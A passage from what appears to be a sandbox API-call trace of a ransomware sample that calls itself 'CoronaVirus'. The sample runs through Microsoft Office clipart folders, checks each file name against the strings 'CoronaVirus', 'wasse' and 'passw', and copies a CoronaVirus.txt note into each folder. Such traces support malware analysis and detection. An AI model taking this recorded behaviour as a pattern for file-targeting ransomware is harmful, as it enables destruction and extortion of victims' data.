	[0106.601] SetThreadPriority (hThread=0x10f8, nPriority=15) returned 1
	[0106.615] malloc (_Size=0x1000) returned 0x51f3088
	[0106.615] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01770_.gif") returned 68
	[0106.615] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01770_.gif", _SubStr="CoronaVirus") returned 0x0
	[0106.615] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01770_.gif", _SubStr="wasse") returned 0x0
	[0106.617] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01770_.gif", _SubStr="passw") returned 0x0
	[0106.618] SetThreadPriority (hThread=0x10fc, nPriority=15) returned 1
	[0106.660] malloc (_Size=0x1000) returned 0x51f3088
	[0106.660] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01838_.gif") returned 68
	[0106.660] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01838_.gif", _SubStr="CoronaVirus") returned 0x0
	[0106.660] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01838_.gif", _SubStr="wasse") returned 0x0
	[0106.660] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01838_.gif", _SubStr="passw") returned 0x0
	[0106.661] SetThreadPriority (hThread=0x1100, nPriority=15) returned 1
	[0106.668] malloc (_Size=0x1000) returned 0x51f5098
	[0106.668] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01839_.gif") returned 68
	[0106.668] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01839_.gif", _SubStr="CoronaVirus") returned 0x0
	[0106.668] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01839_.gif", _SubStr="wasse") returned 0x0
	[0106.668] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01839_.gif", _SubStr="passw") returned 0x0
	[0106.669] SetThreadPriority (hThread=0x1104, nPriority=15) returned 1
	[0106.675] malloc (_Size=0x1000) returned 0x51f0070
	[0106.675] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01840_.gif") returned 68
	[0106.675] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01840_.gif", _SubStr="CoronaVirus") returned 0x0
	[0106.675] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01840_.gif", _SubStr="wasse") returned 0x0
	[0106.675] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01840_.gif", _SubStr="passw") returned 0x0
	[0106.676] SetThreadPriority (hThread=0x1108, nPriority=15) returned 1
	[0106.678] malloc (_Size=0x1000) returned 0x51f60a0
	[0106.678] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01842_.gif") returned 68
	[0106.678] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01842_.gif", _SubStr="CoronaVirus") returned 0x0
	[0106.680] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01842_.gif", _SubStr="wasse") returned 0x0
	[0106.680] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01842_.gif", _SubStr="passw") returned 0x0
	[0106.683] SetThreadPriority (hThread=0x110c, nPriority=15) returned 1
	[0106.685] malloc (_Size=0x1000) returned 0x51f0070
	[0106.685] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01843_.gif") returned 68
	[0106.686] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01843_.gif", _SubStr="CoronaVirus") returned 0x0
	[0106.686] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01843_.gif", _SubStr="wasse") returned 0x0
	[0106.686] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01843_.gif", _SubStr="passw") returned 0x0
	[0106.690] SetThreadPriority (hThread=0x1110, nPriority=15) returned 1
	[0106.692] malloc (_Size=0x1000) returned 0x51f3088
	[0106.693] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB02229_.gif") returned 68
	[0106.693] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB02229_.gif", _SubStr="CoronaVirus") returned 0x0
	[0106.695] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB02229_.gif", _SubStr="wasse") returned 0x0
	[0106.695] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB02229_.gif", _SubStr="passw") returned 0x0
	[0106.695] SetThreadPriority (hThread=0x1118, nPriority=15) returned 1
	[0106.706] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\CoronaVirus.txt" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0106.709] _alloca_probe () returned 0x4036d0
	[0106.710] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\CoronaVirus.txt" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0106.715] _alloca_probe () returned 0x4036d0
	[0106.715] malloc (_Size=0x1000) returned 0x51f4090
	[0106.715] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\CoronaVirus.txt") returned 84
	[0106.715] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0106.715] malloc (_Size=0x1000) returned 0x51f3088
	[0106.715] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143743.gif") returned 81
	[0106.715] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143743.gif", _SubStr="CoronaVirus") returned 0x0
	[0106.715] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143743.gif", _SubStr="wasse") returned 0x0
	[0106.715] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143743.gif", _SubStr="passw") returned 0x0
	[0106.716] SetThreadPriority (hThread=0x1120, nPriority=15) returned 1
	[0106.718] malloc (_Size=0x1000) returned 0x51f0070
	[0106.718] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143744.gif") returned 81
	[0106.721] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143744.gif", _SubStr="CoronaVirus") returned 0x0
	[0106.721] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143744.gif", _SubStr="wasse") returned 0x0
	[0106.721] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143744.gif", _SubStr="passw") returned 0x0
	[0106.726] SetThreadPriority (hThread=0x1124, nPriority=15) returned 1
	[0106.934] malloc (_Size=0x1000) returned 0x51f3088
	[0106.934] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143745.gif") returned 81
	[0106.934] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143745.gif", _SubStr="CoronaVirus") returned 0x0
	[0106.934] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143745.gif", _SubStr="wasse") returned 0x0
	[0106.934] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143745.gif", _SubStr="passw") returned 0x0
	[0106.935] SetThreadPriority (hThread=0x1114, nPriority=15) returned 1
	[0106.939] malloc (_Size=0x1000) returned 0x51f60a0
	[0106.939] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143746.gif") returned 81
	[0106.939] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143746.gif", _SubStr="CoronaVirus") returned 0x0
	[0106.939] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143746.gif", _SubStr="wasse") returned 0x0
	[0106.939] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143746.gif", _SubStr="passw") returned 0x0
	[0106.942] SetThreadPriority (hThread=0x1128, nPriority=15) returned 1
	[0106.959] malloc (_Size=0x1000) returned 0x51f0070
	[0106.959] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143748.gif") returned 81
	[0106.959] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143748.gif", _SubStr="CoronaVirus") returned 0x0
	[0106.959] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143748.gif", _SubStr="wasse") returned 0x0
	[0106.959] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143748.gif", _SubStr="passw") returned 0x0
	[0106.962] SetThreadPriority (hThread=0x112c, nPriority=15) returned 1
	[0106.964] malloc (_Size=0x1000) returned 0x51f5098
	[0106.964] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143749.gif") returned 81
	[0106.964] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143749.gif", _SubStr="CoronaVirus") returned 0x0
	[0106.964] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143749.gif", _SubStr="wasse") returned 0x0
	[0106.966] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143749.gif", _SubStr="passw") returned 0x0
	[0106.967] SetThreadPriority (hThread=0x1134, nPriority=15) returned 1
	[0106.971] malloc (_Size=0x1000) returned 0x51f60a0
	[0106.971] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143750.gif") returned 81
	[0106.971] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143750.gif", _SubStr="CoronaVirus") returned 0x0
	[0106.973] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143750.gif", _SubStr="wasse") returned 0x0
	[0106.973] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143750.gif", _SubStr="passw") returned 0x0
	[0107.040] SetThreadPriority (hThread=0x1130, nPriority=15) returned 1
	[0107.044] malloc (_Size=0x1000) returned 0x51f3088
	[0107.044] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143752.gif") returned 81
	[0107.044] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143752.gif", _SubStr="CoronaVirus") returned 0x0
	[0107.044] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143752.gif", _SubStr="wasse") returned 0x0
	[0107.044] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143752.gif", _SubStr="passw") returned 0x0
	[0107.047] SetThreadPriority (hThread=0x1138, nPriority=15) returned 1
	[0107.049] malloc (_Size=0x1000) returned 0x51f5098
	[0107.052] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143753.gif") returned 81
	[0107.052] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143753.gif", _SubStr="CoronaVirus") returned 0x0
	[0107.052] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143753.gif", _SubStr="wasse") returned 0x0
	[0107.052] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143753.gif", _SubStr="passw") returned 0x0
	[0107.055] SetThreadPriority (hThread=0x113c, nPriority=15) returned 1
	[0107.058] malloc (_Size=0x1000) returned 0x51f0070
	[0107.058] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143754.gif") returned 81
	[0107.058] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143754.gif", _SubStr="CoronaVirus") returned 0x0
	[0107.060] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143754.gif", _SubStr="wasse") returned 0x0
	[0107.060] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143754.gif", _SubStr="passw") returned 0x0
	[0107.062] SetThreadPriority (hThread=0x1144, nPriority=15) returned 1
	[0107.070] malloc (_Size=0x1000) returned 0x51f0070
	[0107.070] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143758.gif") returned 81
	[0107.070] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143758.gif", _SubStr="CoronaVirus") returned 0x0
	[0107.070] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143758.gif", _SubStr="wasse") returned 0x0
	[0107.070] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143758.gif", _SubStr="passw") returned 0x0
	[0107.071] SetThreadPriority (hThread=0x1148, nPriority=15) returned 1
	[0107.073] malloc (_Size=0x1000) returned 0x51f80b0
	[0107.074] _swprintf (in: param_1=0x51f80b0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00516L.gif") returned 81
	[0107.074] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00516L.gif", _SubStr="CoronaVirus") returned 0x0
	[0107.074] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00516L.gif", _SubStr="wasse") returned 0x0
	[0107.074] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00516L.gif", _SubStr="passw") returned 0x0
	[0107.077] SetThreadPriority (hThread=0x1140, nPriority=15) returned 1
	[0107.079] malloc (_Size=0x1000) returned 0x51f0070
	[0107.079] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00531L.gif") returned 81
	[0107.082] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00531L.gif", _SubStr="CoronaVirus") returned 0x0
	[0107.082] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00531L.gif", _SubStr="wasse") returned 0x0
	[0107.082] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00531L.gif", _SubStr="passw") returned 0x0
	[0107.084] SetThreadPriority (hThread=0x1150, nPriority=15) returned 1
	[0107.094] malloc (_Size=0x1000) returned 0x51f5098
	[0107.094] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00673L.gif") returned 81
	[0107.094] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00673L.gif", _SubStr="CoronaVirus") returned 0x0
	[0107.094] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00673L.gif", _SubStr="wasse") returned 0x0
	[0107.094] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00673L.gif", _SubStr="passw") returned 0x0
	[0107.097] SetThreadPriority (hThread=0x1154, nPriority=15) returned 1
	[0107.099] malloc (_Size=0x1000) returned 0x51f0070
	[0107.099] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00703L.gif") returned 81
	[0107.099] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00703L.gif", _SubStr="CoronaVirus") returned 0x0
	[0107.099] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00703L.gif", _SubStr="wasse") returned 0x0
	[0107.102] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00703L.gif", _SubStr="passw") returned 0x0
	[0107.103] SetThreadPriority (hThread=0x1158, nPriority=15) returned 1
	[0107.111] malloc (_Size=0x1000) returned 0x51f3088
	[0107.149] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00760L.gif") returned 81
	[0107.149] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00760L.gif", _SubStr="CoronaVirus") returned 0x0
	[0107.149] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00760L.gif", _SubStr="wasse") returned 0x0
	[0107.149] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00760L.gif", _SubStr="passw") returned 0x0
	[0107.150] SetThreadPriority (hThread=0x115c, nPriority=15) returned 1
	[0107.152] malloc (_Size=0x1000) returned 0x51f5098
	[0107.152] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00780L.gif") returned 81
	[0107.152] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00780L.gif", _SubStr="CoronaVirus") returned 0x0
	[0107.152] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00780L.gif", _SubStr="wasse") returned 0x0
	[0107.152] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00780L.gif", _SubStr="passw") returned 0x0
	[0107.160] SetThreadPriority (hThread=0x1160, nPriority=15) returned 1
	[0107.166] malloc (_Size=0x1000) returned 0x51f3088
	[0107.166] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB01741L.gif") returned 81
	[0107.166] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB01741L.gif", _SubStr="CoronaVirus") returned 0x0
	[0107.166] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB01741L.gif", _SubStr="wasse") returned 0x0
	[0107.166] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB01741L.gif", _SubStr="passw") returned 0x0
	[0107.169] SetThreadPriority (hThread=0x114c, nPriority=15) returned 1
	[0107.171] malloc (_Size=0x1000) returned 0x51f60a0
	[0107.171] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02039_.gif") returned 81
	[0107.173] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02039_.gif", _SubStr="CoronaVirus") returned 0x0
	[0107.173] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02039_.gif", _SubStr="wasse") returned 0x0
	[0107.173] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02039_.gif", _SubStr="passw") returned 0x0
	[0107.176] SetThreadPriority (hThread=0x1164, nPriority=15) returned 1
	[0107.179] malloc (_Size=0x1000) returned 0x51f3088
	[0107.179] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02055_.gif") returned 81
	[0107.179] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02055_.gif", _SubStr="CoronaVirus") returned 0x0
	[0107.179] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02055_.gif", _SubStr="wasse") returned 0x0
	[0107.179] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02055_.gif", _SubStr="passw") returned 0x0
	[0107.179] SetThreadPriority (hThread=0x1170, nPriority=15) returned 1
	[0107.184] malloc (_Size=0x1000) returned 0x51f5098
	[0107.184] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02073_.gif") returned 81
	[0107.184] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02073_.gif", _SubStr="CoronaVirus") returned 0x0
	[0107.184] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02073_.gif", _SubStr="wasse") returned 0x0
	[0107.184] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02073_.gif", _SubStr="passw") returned 0x0
	[0107.184] SetThreadPriority (hThread=0x1178, nPriority=15) returned 1
	[0107.186] malloc (_Size=0x1000) returned 0x51f0070
	[0107.186] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02074_.gif") returned 81
	[0107.186] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02074_.gif", _SubStr="CoronaVirus") returned 0x0
	[0107.186] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02074_.gif", _SubStr="wasse") returned 0x0
	[0107.186] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02074_.gif", _SubStr="passw") returned 0x0
	[0107.187] SetThreadPriority (hThread=0x1184, nPriority=15) returned 1
	[0107.189] malloc (_Size=0x1000) returned 0x51fb0c8
	[0107.189] _swprintf (in: param_1=0x51fb0c8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02077_.gif") returned 81
	[0107.189] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02077_.gif", _SubStr="CoronaVirus") returned 0x0
	[0107.205] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02077_.gif", _SubStr="wasse") returned 0x0
	[0107.205] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02077_.gif", _SubStr="passw") returned 0x0
	[0107.206] SetThreadPriority (hThread=0x1188, nPriority=15) returned 1
	[0107.208] malloc (_Size=0x1000) returned 0x51f5098
	[0107.208] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02082_.gif") returned 81
	[0107.208] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02082_.gif", _SubStr="CoronaVirus") returned 0x0
	[0107.208] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02082_.gif", _SubStr="wasse") returned 0x0
	[0107.208] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02082_.gif", _SubStr="passw") returned 0x0
	[0107.209] SetThreadPriority (hThread=0x1174, nPriority=15) returned 1
	[0107.211] malloc (_Size=0x1000) returned 0x51f60a0
	[0107.211] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02085_.gif") returned 81
	[0107.211] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02085_.gif", _SubStr="CoronaVirus") returned 0x0
	[0107.211] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02085_.gif", _SubStr="wasse") returned 0x0
	[0107.211] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02085_.gif", _SubStr="passw") returned 0x0
	[0107.211] SetThreadPriority (hThread=0x116c, nPriority=15) returned 1
	[0107.215] malloc (_Size=0x1000) returned 0x51f0070
	[0107.216] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02097_.gif") returned 81
	[0107.216] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02097_.gif", _SubStr="CoronaVirus") returned 0x0
	[0107.216] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02097_.gif", _SubStr="wasse") returned 0x0
	[0107.216] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02097_.gif", _SubStr="passw") returned 0x0
	[0107.217] SetThreadPriority (hThread=0x1194, nPriority=15) returned 1
	[0107.218] malloc (_Size=0x1000) returned 0x51f3088
	[0107.218] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02106_.gif") returned 81
	[0107.218] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02106_.gif", _SubStr="CoronaVirus") returned 0x0
